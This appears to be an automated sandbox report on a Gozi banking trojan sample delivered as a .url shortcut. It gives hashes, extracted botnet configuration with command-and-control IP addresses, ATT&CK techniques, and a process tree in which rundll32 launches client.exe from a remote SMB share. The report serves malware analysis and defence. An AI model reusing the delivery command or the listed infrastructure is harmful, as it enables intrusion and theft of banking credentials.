gozi | e8649ad469c23e3ce48ccd5ba939548722841e3012444a257252bd7c6960a244

Analysis

max time kernel
150s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
03-10-2023 05:50

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General

Target

Servizi.url
Size

192B
MD5

aa05bdf7862a64f54d6e281944fb0f51
SHA1

60fe537372be17e284f0121f5da307325da6ca92
SHA256

e798fb0280fbc91cbb32234af0c55c4c6e16f528f8282057e334c2055ac07d13
SHA512

e471d9b97fc022e3a769a936f37590da9e3f32e76fb5934ffea91ef8c1fb39f719330cb5299fbb38272bb5b34aac8e28ab05bc2180478eb1bca839911a87a302

Score

10^/10

gozi 5050 banker dave isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

46.8.210.250

31.41.44.9

185.247.184.139

62.72.33.155

Attributes

base_path
/jerry/
build
250260
exe_type
loader
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Dave packer 1 IoCs

Detects executable using a packer named 'Dave' by the community, based on a string at the end.

dave

Processes:

resource	yara_rule
behavioral2/memory/3884-1-0x0000000001380000-0x000000000138C000-memory.dmp	dave

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 3016 wrote to memory of 3884	3016	rundll32.exe	client.exe
PID 3016 wrote to memory of 3884	3016	rundll32.exe	client.exe
PID 3016 wrote to memory of 3884	3016	rundll32.exe	client.exe

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Servizi.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3016

\??\UNC\62.173.146.43\scarica\client.exe
"\\62.173.146.43\scarica\client.exe"
2⤵
PID:3884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3884-1-0x0000000001380000-0x000000000138C000-memory.dmp

Filesize
48KB

Download
memory/3884-0-0x0000000001390000-0x000000000139F000-memory.dmp

Filesize
60KB

Download
memory/3884-5-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download
memory/3884-11-0x0000000002EA0000-0x0000000002EAD000-memory.dmp

Filesize
52KB

Download